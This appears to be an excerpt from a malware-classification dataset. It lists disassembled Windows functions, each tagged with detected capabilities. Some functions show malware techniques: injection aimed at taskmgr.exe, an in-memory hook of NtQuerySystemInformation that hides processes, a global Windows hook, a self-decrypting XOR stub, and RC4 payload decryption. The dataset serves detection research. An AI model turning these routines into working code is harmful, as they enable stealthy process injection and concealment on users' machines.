joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002420
Capabilities:
Terminate process

Disassembly:
movzx r9d, si
mov r8, rbx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400010dc
mov dword [0x14001a078], eax
cmp dword [0x14001a020], 0
jne 0x140003baa
mov ecx, eax
call qword [sym.imp.MSVCR110_CLR0400.dll_exit]
nop
jmp 0x140003baa
sub rsp, 0x28
call fcn.140001c48
add rsp, 0x28
jmp 0x140002430
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
and dword [rsp + 0x20], 0
call sub.MSVCR110_CLR0400.dll___crtGetShowWindowMode
movzx esi, ax
mov rcx, qword gs:[0x30]
mov rdx, qword [rcx + 8]
xor ebx, ebx
xor eax, eax
lock cmpxchg qword [0x14001a238], rdx
jne 0x140003b44
mov eax, dword [0x14001a240]
cmp eax, 1
je 0x140003b58
mov eax, dword [0x14001a240]
test eax, eax
jne 0x140003b6f
mov dword [0x14001a240], 1
lea rdx, [0x1400105d0]
lea rcx, [0x1400105b0]
call sub.MSVCR110_CLR0400.dll__initterm_e
test eax, eax
jne 0x140003b65
mov eax, dword [0x14001a240]
cmp eax, 1
jne 0x1400024d6
lea rdx, [0x1400105a8]
lea rcx, [0x140010550]
call fcn.14016b000
mov dword [0x14001a240], 2
test ebx, ebx
jne 0x1400024e3
xor eax, eax
xchg qword [0x14001a238], rax
cmp qword [0x14001a258], 0
jne 0x140003b7e
mov rax, qword [sym.imp.MSVCR110_CLR0400.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
cmp byte [rbx], 0x20
jbe 0x14000252d
cmp byte [rbx], 0x22
je 0x140003bc1
movzx ecx, byte [rbx]
call qword [sym.imp.MSVCR110_CLR0400.dll__ismbblead]
test eax, eax
jne 0x140003bd3
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140002504
cmp byte [rbx], 0
je 0x140002536
test edi, edi
jne 0x140002509
mov al, byte [rbx]
dec al
cmp al, 0x1f
ja 0x1400010a6
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140002536
cmp rax, rdx
jne 0x140003b53
mov ebx, 1
jmp 0x14000246c
jmp 0x14000245b
lea ecx, [rax + 0x1e]
call sub.MSVCR110_CLR0400.dll__amsg_exit
jmp 0x1400024ae
mov eax, 0xff
jmp 0x140003c0d
mov dword [0x14001a3b4], 1
jmp 0x1400024ae
lea rcx, [0x14001a258]
call fcn.14000da50
test eax, eax
je 0x1400024f1
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14001a258]
call rax
nop
jmp 0x1400024f1
cmp dword [0x14001a3b4], 0
jne 0x140003bbf
call qword [sym.imp.MSVCR110_CLR0400.dll__cexit]
mov eax, dword [0x14001a078]
jmp 0x140003c0d
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
jmp 0x140002512
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140002523
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140f0aa98
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f0aaa2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f0aacb
pop rbp
sub rbp, 0x33
sub rbp, 0xf0aa98
sub rsp, 0x20
jmp 0x140f0aaea
mov rax, 0xf0aa98
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffa79025bf
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f0ab09
jmp 0x140f0ab20
div dword [rsi]
push rsi
xor al, 0x36
cmp dword [rdi + 0x3ef7bfbf], 0x7e
mov bh, 0xbe
mov edi, 0x56bef7bf
idiv dword [rax + 0x7f]
mov eax, 0xf7bfbfbf
js 0x140f0abba
xchg edi, eax
mov edi, 0x48f7bfbf
pop rbp
idiv dword [rsi - 0x4cc1cb82]
mov edi, 0xbef7bfbf
push rdi
out dx, eax
out dx, eax
test dword [rdi], 0xbf975ffb
mov edi, 0xf7bfbfbf
invalid
ret 0xbfbf
Function at 0x180001100
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea rcx, str.ntdll.dll
mov qword [rbp - 0x39], 0x25ff
mov dword [rbp - 0x31], 0
mov word [rbp - 0x2d], 0
mov qword [rbp - 0x49], 0
mov dword [rbp - 0x41], 0xe9
mov byte [rbp - 0x3d], 0
mov dword [rbp + 0x37], 0xe9
mov byte [rbp + 0x3b], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x18001ebe0]
mov r15, rax
test ecx, ecx
jne 0x180001199
lea rcx, [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rbp + 0x2f]
mov dword [0x18001ebe0], ecx
dec ecx
mov edi, ecx
mov r14d, ecx
not rdi
mov ecx, 0x80000000
cmp r15, rcx
jb 0x1800011bc
lea rbx, [r15 - 0x80000000]
add rbx, r14
and rbx, rdi
jmp 0x1800011be
xor ebx, ebx
movabs rax, 0xffffffff7fffffff
mov qword [rsp + 0xe0], rsi
cmp r15, rax
jae 0x1800011de
lea rsi, [r15 + rcx]
and rsi, rdi
jmp 0x1800011f0
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rbp - 0x29]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180001255
mov rcx, qword [rbp - 0x29]
mov rbx, qword [rbp - 0x11]
add rbx, rcx
cmp dword [rbp - 9], 0x10000
jne 0x180001250
add rcx, r14
and rcx, rdi
cmp rcx, rbx
jae 0x180001250
mov rax, rbx
sub rax, rcx
cmp rax, 0x1b
jb 0x180001250
mov edx, 0x1b
mov r8d, 0x3000
lea r9d, [rdx + 0x25]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x180001257
cmp rbx, rsi
jb 0x1800011f0
xor edx, edx
lea rcx, [rdx + 0xf]
lea rax, [0x180001070]
mov qword [0x18001ebf8], rcx
mov qword [rbp - 0x33], rax
mov eax, dword [rbp - 0x31]
movsd xmm0, qword [rbp - 0x39]
movsd qword [rdx], xmm0
mov dword [rdx + 8], eax
movzx eax, word [rbp - 0x2d]
mov word [rdx + 0xc], ax
mov eax, dword [r15]
mov dword [rbp - 0x49], eax
movzx eax, byte [r15 + 4]
mov byte [rbp - 0x45], al
mov eax, r15d
movsd xmm0, qword [rbp - 0x49]
sub eax, edx
sub eax, 0x14
movsd qword [rcx], xmm0
mov dword [rbp - 0x40], eax
sub edx, r15d
mov eax, dword [rbp - 0x41]
sub edx, 5
mov dword [rcx + 8], eax
movzx eax, byte [rbp - 0x3d]
mov byte [rcx + 0xc], al
mov dword [rbp + 0x38], edx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 5
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rbp + 0x37]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rsi, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180001560
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180001310
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x248
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rsp + 0x230], rax
cmp edx, 1
jne 0x180001394
mov qword [0x18001ebd8], rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.180002740
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call fcn.180002330
test rax, rax
je 0x180001394
lea rcx, [rax + 2]
lea rdx, str.taskmgr.exe
call fcn.1800036e4
test eax, eax
jne 0x180001394
lea rcx, str._inject_taskmgr.exe_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.180001100
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180001560
add rsp, 0x248
ret

Function at 0x1800013e0
Capabilities:
Check mutex on windows
Print debug messages

Disassembly:
push rbx
sub rsp, 0xa0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea r8, str.sdz0045
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
test rax, rax
je 0x180001425
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1800014ed
movups xmm0, xmmword [str.pagefile.exe]
movzx eax, word [0x18001a7b8]
movsd xmm1, qword [0x18001a7b0]
movaps xmmword [0x180021010], xmm0
movsd qword [0x180021020], xmm1
mov word [0x180021028], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [0x18001ebd8]
lea rdx, [0x1800013c0]
xor r9d, r9d
mov dword [section.mysec], eax
lea ecx, [r9 + 4]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x18001ebd0], rax
test rax, rax
je 0x1800014e0
mov r9d, dword [section.mysec]
lea rdx, str.setwinhooks_ok..___ld___ld_
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
xor eax, eax
mov r8d, 0xffffffff
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x80], eax
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
call fcn.180001010
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop word [rax + rax]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800014e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.180001560
add rsp, 0xa0
pop rbx
ret
Function at 0x14000803f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov r13, r8
mov r15d, edx
mov rbp, rcx
mov r9d, dword [rax + rcx + 0x88]
mov esi, dword [r9 + rcx + 0x20]
mov r14d, dword [r9 + rcx + 0x1c]
add rsi, rcx
mov edi, dword [r9 + rcx + 0x24]
add r14, rcx
add rdi, rcx
nop dword [rax + rax]
mov ebx, dword [rsi]
add rbx, rbp
mov rcx, rbx
call fcn.1400096ef
xor ecx, ecx
test eax, eax
je 0x1400080c9
mov r10d, dword [r13 + 0x128]
mov r9d, eax
nop dword [rax]
movsx eax, byte [rbx]
lea rbx, [rbx + 1]
mov r8d, r10d
imul r8d, ecx
movzx ecx, ax
add ecx, r8d
sub r9, 1
jne 0x1400080af
movzx eax, word [rdi]
mov eax, dword [r14 + rax*4]
add rax, rbp
cmp r15d, ecx
je 0x1400080e2
add rsi, 4
add rdi, 2
jmp 0x14000808f
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
ret
Function at 0x140008aaf
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbx
push rbp
push r12
push r13
sub rsp, 0x58
mov rbx, qword [rsp + 0xa0]
xor r12d, r12d
mov r10d, edx
mov r13, r9
mov rbp, rcx
mov eax, dword [rbx + 0x110]
cmp dword [r10 + rcx - 8], eax
je 0x140008af5
xor al, al
add rsp, 0x58
pop r13
pop r12
pop rbp
pop rbx
ret
mov qword [rsp + 0x50], rdi
lea rdx, [rbx + 0x7c]
mov qword [rsp + 0x48], r14
lea rcx, [rsp + 0x28]
mov r8d, 4
mov qword [rsp + 0x40], r15
call fcn.140007fcf
lea rdx, [rbx + 0xb8]
mov r8d, 4
lea rcx, [rsp + 0x2c]
call fcn.140007fcf
xor r15d, r15d
mov qword [rsp + 0x98], rsi
xor r14d, r14d
mov rdi, rbp
xor eax, eax
mov qword [rsp + 0x30], rax
nop dword [rax + rax]
mov ecx, dword [rsp + 0x88]
lea rbx, [rdi + 1]
mov eax, ebp
xor r9d, r9d
sub eax, edi
lea r11d, [rcx - 0x10]
add r11d, eax
je 0x140008c83
lea r8, [rsp + 0x28]
mov r10, rbx
sub r8, rbx
nop word [rax + rax]
xor edx, edx
mov rax, r10
movzx ecx, byte [r8 + rax]
cmp byte [rax], cl
je 0x140008b96
cmp cl, 0x3f
jne 0x140008c31
inc edx
inc rax
cmp edx, 8
jb 0x140008b84
mov edi, r9d
add rdi, rbx
je 0x140008c83
mov ecx, dword [rdi]
lea rsi, [rdi + 8]
mov dword [rsp + 0x20], ecx
movzx eax, byte [rsp + 0x21]
movzx ebx, byte [rsp + 0x22]
shl eax, 0x10
shl ebx, 8
add ebx, eax
movzx eax, cl
shl eax, 0x18
add ebx, eax
shr ecx, 0x18
mov rax, qword [rsp + 0xa0]
add ebx, ecx
mov eax, dword [rax + 0x3c]
cmp dword [rsi], eax
jne 0x140008c45
test r15, r15
jne 0x140008c4e
mov r14d, dword [rsi + 8]
add r14d, 0x10
mov qword [rsp + 0x30], rsi
mov eax, r14d
jne 0x140008c08
mov rax, qword [r13 + 0xd8]
mov eax, dword [rax + 0x114]
mov edx, eax
mov rax, qword [r13 + 0xd8]
mov ecx, dword [rax + 0x2c]
call qword [r13 + 0x68]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov r15, rax
call fcn.140007fcf
add r12d, ebx
jmp 0x140008b4f
inc r9d
inc r10
dec r8
cmp r9d, r11d
jb 0x140008b7f
jmp 0x140008c83
test r15, r15
je 0x140008b4f
mov ecx, r12d
lea ebp, [rbx + r12]
add rcx, r15
mov rdx, rsi
cmp ebp, r14d
ja 0x140008c78
mov r8d, ebx
call fcn.140007fcf
mov r12d, ebp
mov rbp, qword [rsp + 0x80]
jmp 0x140008b4f
sub r14d, r12d
mov r8d, r14d
call fcn.140007fcf
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x98]
test r15, r15
jne 0x140008cac
xor al, al
mov r15, qword [rsp + 0x40]
add rsp, 0x58
pop r13
pop r12
pop rbp
pop rbx
ret
mov rax, qword [rsp + 0x30]
lea rcx, [r15 + 0x10]
mov r8d, dword [rax + 4]
mov eax, dword [rax + 8]
test al, 3
je 0x140008cc6
dec eax
test al, 3
jne 0x140008cc0
test eax, eax
je 0x140008cdf
lea edx, [rax - 1]
shr edx, 2
inc edx
xor dword [rcx], r8d
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x140008cd2
mov rax, qword [rsp + 0x90]
test r12d, r12d
mov qword [rax], r15
setne al
mov r15, qword [rsp + 0x40]
add rsp, 0x58
pop r13
pop r12
pop rbp
pop rbx
ret
Function at 0x1400091df
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [rcx + 0xd8]
mov rdi, rcx
mov rbx, rdx
mov r12, r9
mov r13, r8
mov edx, dword [rax + 0x114]
mov ecx, dword [rax + 0x2c]
call qword [rdi + 0x68]
mov r9, qword [rsp + 0xa8]
xor esi, esi
mov r15, rax
mov qword [rsp + 0x28], r9
mov r9d, dword [rsp + 0xa0]
lea rax, [rsp + 0x80]
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov dword [rsp + 0x80], esi
mov rcx, rdi
call fcn.14000937f
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r15
call qword [rdi + 0x80]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400092a0
xor edx, edx
mov rcx, rax
call qword [rdi + 0x88]
mov ebp, eax
test eax, eax
jne 0x1400092c0
mov rcx, rsi
call qword [rdi + 0x38]
xor al, al
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, qword [rdi + 0xd8]
mov rdx, rbp
mov rbx, rbp
mov ecx, dword [rax + 0x2c]
call qword [rdi + 0x68]
lea r9, [rsp + 0x40]
mov r8d, ebp
mov r14, rax
mov rcx, rsi
xor eax, eax
mov rdx, r14
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], rax
call qword [rdi]
mov rcx, rsi
test eax, eax
je 0x14000929d
call qword [rdi + 0x38]
mov ecx, dword [rsp + 0x80]
mov eax, ecx
shr eax, 0x18
mov byte [rsp + 0x80], al
mov eax, ecx
shr eax, 0x10
mov byte [rsp + 0x81], al
mov eax, ecx
shr eax, 8
mov byte [rsp + 0x82], al
xor eax, eax
mov byte [rsp + 0x83], cl
test ebp, ebp
je 0x14000935f
mov r8, r14
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x80]
lea ecx, [rax + 1]
xor byte [r8], dl
lea r8, [r8 + 1]
xor eax, eax
cmp ecx, 4
cmovne eax, ecx
sub rbx, 1
jne 0x14000933f
mov dword [r12], ebp
mov qword [r13], r14
test r15, r15
je 0x140009375
mov rcx, r15
call qword [rdi + 0xa8]
mov al, 1
jmp 0x1400092a2
Function at 0x14000937f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0xd8]
mov rbx, rcx
mov r13, rdx
mov r12d, r9d
mov r15, r8
mov edx, dword [rax + 0x114]
mov ecx, dword [rax + 0x2c]
call qword [rbx + 0x68]
mov rbp, qword [rsp + 0x88]
mov r8d, 4
mov rcx, rax
mov rdi, rax
lea rdx, [rbp + 0x38]
call fcn.140007fcf
mov rcx, rdi
call fcn.1400096ef
movzx ecx, byte [rbp + 0xc8]
mov edx, eax
add rdx, rdi
mov byte [rdx], cl
movzx ecx, byte [rbp + 0xc9]
mov byte [rdx + 1], cl
mov rcx, rdi
movzx eax, byte [rbp + 0xca]
mov byte [rdx + 2], al
movzx eax, byte [rbp + 0xcb]
mov byte [rdx + 3], al
mov byte [rdi + 8], 0x25
call fcn.1400096ef
movsxd rsi, eax
mov rcx, rdi
inc rsi
add rsi, rdi
call fcn.1400096ef
test eax, eax
je 0x140009454
mov ecx, eax
lea r8, [rcx + rdi]
lea r9, [rsi + rcx*2]
nop word [rax + rax]
movsx edx, byte [r8]
lea r8, [r8 - 1]
mov word [r9], dx
lea r9, [r9 - 2]
add eax, 0xffffffff
jne 0x14000943f
mov edx, eax
mov r8d, 0x104
mov rcx, rsi
movsx eax, byte [rdx + rdi]
mov word [rsi + rdx*2], ax
mov rdx, r15
call qword [rbx + 0x50]
mov rax, qword [rbx + 0xd8]
mov edx, dword [rax + 0x114]
mov ecx, dword [rax + 0x2c]
call qword [rbx + 0x68]
mov rcx, qword [rbx + 0xd8]
mov r14, rax
mov edx, dword [rcx + 0x114]
mov ecx, dword [rcx + 0x2c]
call qword [rbx + 0x68]
mov r9d, dword [rbp + 0xec]
lea r8, [rsp + 0x78]
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, r13
mov rsi, rax
call fcn.140007d7f
mov rdx, rsi
mov rcx, r15
call fcn.14000962f
xor edx, edx
mov rcx, r15
call qword [rbx + 0x48]
xor r12d, dword [rbp + 0xec]
lea r8, [rsp + 0x78]
mov r9d, r12d
mov dword [rsp + 0x78], 0
mov rdx, r14
mov qword [rsp + 0x20], rbp
mov rcx, r13
call fcn.140007d7f
mov rdx, r14
mov rcx, r15
call fcn.14000962f
mov rcx, qword [rsp + 0x80]
mov eax, dword [rsp + 0x78]
mov dword [rcx], eax
mov rcx, rdi
call qword [rbx + 0xa8]
test r14, r14
je 0x14000951f
mov rcx, r14
call qword [rbx + 0xa8]
test rsi, rsi
je 0x14000952d
mov rcx, rsi
call qword [rbx + 0xa8]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000997f
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [rcx + 0xd8]
mov rdi, rcx
mov rbx, rdx
mov ebp, r9d
mov r14, r8
mov edx, dword [rax + 0x114]
mov ecx, dword [rax + 0x2c]
call qword [rdi + 0x68]
mov rcx, rax
mov edx, 8
mov rsi, rax
call fcn.140009b6f
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
mov r9d, dword [rsp + 0x70]
mov r8, rsi
mov qword [rsp + 0x28], rcx
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x20], rax
call fcn.14000937f
mov eax, ebp
test ebp, ebp
jne 0x140009a02
mov rax, qword [rdi + 0xd8]
mov eax, dword [rax + 0x114]
mov edx, eax
mov rax, qword [rdi + 0xd8]
mov ecx, dword [rax + 0x2c]
call qword [rdi + 0x68]
mov r8d, ebp
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140007fcf
mov edx, dword [rsp + 0x68]
xor eax, eax
mov ecx, edx
mov byte [rsp + 0x6b], dl
shr ecx, 0x18
mov byte [rsp + 0x68], cl
mov ecx, edx
shr ecx, 0x10
mov byte [rsp + 0x69], cl
mov ecx, edx
shr ecx, 8
mov byte [rsp + 0x6a], cl
test ebp, ebp
je 0x140009a7c
mov r8, rbx
mov r9, rbp
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x68]
lea ecx, [rax + 1]
xor byte [r8], dl
lea r8, [r8 + 1]
xor eax, eax
cmp ecx, 4
cmovne eax, ecx
sub r9, 1
jne 0x140009a5f
mov r9d, ebp
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call fcn.140009acf
test al, al
je 0x140009aaf
test rbx, rbx
je 0x140009a9f
mov rcx, rbx
call qword [rdi + 0xa8]
test rsi, rsi
je 0x140009aad
mov rcx, rsi
call qword [rdi + 0xa8]
mov al, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140044ae0
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov edi, edx
mov rsi, rcx
lea rax, [0x14012ed28]
mov qword [rcx], rax
add rcx, 8
call fcn.140071c00
lea rcx, [rsi + 0x10]
call fcn.140071c00
xor ebx, ebx
mov byte [rsi + 0x18], bl
lea rcx, [rsi + 0x40]
xorps xmm6, xmm6
movups xmmword [rsi + 0x1c], xmm6
movups xmmword [rsi + 0x2c], xmm6
mov dword [rsi + 0x3c], ebx
call fcn.140071c00
mov byte [rsi + 0x48], bl
lea rax, [rsi + 0x70]
movups xmmword [rsi + 0x50], xmm6
mov qword [rsi + 0x60], rbx
movups xmmword [rsi + 0x70], xmm6
mov qword [rsi + 0x68], rax
movups xmmword [rsi + 0x80], xmm6
movups xmmword [rsi + 0x90], xmm6
movups xmmword [rsi + 0xa0], xmm6
movups xmmword [rsi + 0xb0], xmm6
movups xmmword [rsi + 0xc0], xmm6
mov ebp, 0x3f800000
mov dword [rsi + 0xd0], ebp
mov dword [rsi + 0xd8], ebx
movups xmmword [rsi + 0xe0], xmm6
movups xmmword [rsi + 0xf0], xmm6
mov dword [rsi + 0x100], ebp
movups xmmword [rsi + 0x108], xmm6
movups xmmword [rsi + 0x118], xmm6
mov dword [rsi + 0x128], ebp
movups xmmword [rsi + 0x140], xmm6
movups xmmword [rsi + 0x130], xmm6
mov dword [rsi + 0x150], ebp
movups xmmword [rsi + 0x158], xmm6
movups xmmword [rsi + 0x168], xmm6
mov dword [rsi + 0x178], ebp
mov qword [rsi + 0x198], rbx
movups xmmword [rsi + 0x180], xmm6
mov dword [rsi + 0x190], ebx
mov eax, dword [0x140135d28]
mov dword [rsi + 0x1a0], eax
lea rcx, [rsi + 0x1a8]
call fcn.140054150
movups xmmword [rsi + 0x2e0], xmm6
movups xmmword [rsi + 0x2f0], xmm6
mov dword [rsi + 0x300], ebp
movups xmmword [rsi + 0x308], xmm6
movups xmmword [rsi + 0x318], xmm6
movups xmmword [rsi + 0x328], xmm6
mov byte [rsi + 0x338], bl
mov dword [rsi + 0x33c], edi
mov byte [rsi + 0x340], bl
movups xmmword [rsi + 0x348], xmm6
mov qword [rsi + 0x358], rbx
call fcn.140038260
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [rsi + 0x190], eax
mov eax, eax
movabs rcx, 0xcbf29ce484222325
xor rcx, rax
movabs rax, 0x100000001b3
imul rax, rcx
mov qword [rsi + 0x188], rax
mov edx, dword [rsi + 0x1a0]
mov rax, qword [rsi + 0x1b0]
mov rcx, rax
shr rcx, 6
test dword [0x140135d2c], edx
je 0x140044cdb
cmp rax, 0x40
mov eax, 0x3e8
cmovb rcx, rax
call fcn.1400818a0
mov rcx, qword [rsi + 0x20]
mov qword [rsi + 0x20], rax
test rcx, rcx
jne 0x140044cff
call fcn.140046e30
lea r8, str.TraceLog
mov rcx, rax
mov rdx, rsi
xor r9d, r9d
call fcn.140046ee0
mov qword [0x14015b720], rsi
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
test dword [0x140135d30], edx
jne 0x140044d12
test dword [0x140135d34], edx
jne 0x140044d20
cmp rax, 0x40
mov eax, 0xfa0
cmovb rcx, rax
call fcn.140053f30
jmp 0x140044c9c
mov rax, qword [rcx]
mov rax, qword [rax]
mov edx, 1
call qword [0x14016d008]
jmp 0x140044ca9
cmp rax, 0x40
mov eax, 0x100
jmp 0x140044c93
cmp rax, 0x40
mov eax, 0x7a1200
jmp 0x140044cf4
Function at 0x1400465b0
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov edi, 2
cmp rdx, 1
jne 0x1400465e0
mov rbx, qword [rsi + 8]
cmp rdi, rbx
jbe 0x140046617
mov rcx, rsi
mov rdx, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400710f0
lea rax, [rdx - 1]
test rdx, rax
jne 0x1400465ee
mov rdi, rdx
jmp 0x1400465c5
mov rcx, rdx
call fcn.14006c940
mov rdi, rax
jmp 0x1400465c5
mov rcx, rdx
call fcn.14006c940
cmp rdi, rax
cmovbe rdi, rax
cmp rdi, rbx
jb 0x1400465ce
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
jae 0x14004660f
mov rax, qword [rsi + 0x18]
test rax, rax
jns 0x140046639
mov rcx, rax
shr rcx, 1
and eax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
jmp 0x14004663e
cvtsi2ss xmm0, rax
divss xmm0, dword [rsi + 0x20]
call fcn.1400b179c
cvttss2si rax, xmm0
mov rcx, rax
subss xmm0, dword [0x140121008]
cvttss2si rdx, xmm0
sar rcx, 0x3f
and rdx, rcx
or rdx, rax
cmp rbx, 3
jb 0x1400465fb
mov rax, rbx
shr rax, 1
movabs rcx, 0x5555555555555555
and rcx, rax
mov rax, rbx
sub rax, rcx
movabs rcx, 0x3333333333333333
mov r8, rax
shr r8, 2
and rax, rcx
and r8, rcx
add r8, rax
mov rax, r8
shr rax, 4
add rax, r8
movabs rcx, 0xf0f0f0f0f0f0f0f
and rcx, rax
movabs rax, 0x101010101010101
imul rax, rcx
shr rax, 0x38
cmp eax, 1
ja 0x1400465fb
lea rax, [rdx - 1]
bsr rcx, rax
xor ecx, 0x3f
neg cl
mov eax, 1
shl rax, cl
cmp rdx, 2
cmovb rax, rdx
jmp 0x140046603

Function at 0x140047790
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x48
mov rsi, r8
mov rax, qword [0x140149038]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov eax, 4
lea r9, [rsp + 0x3c]
mov dword [r9], eax
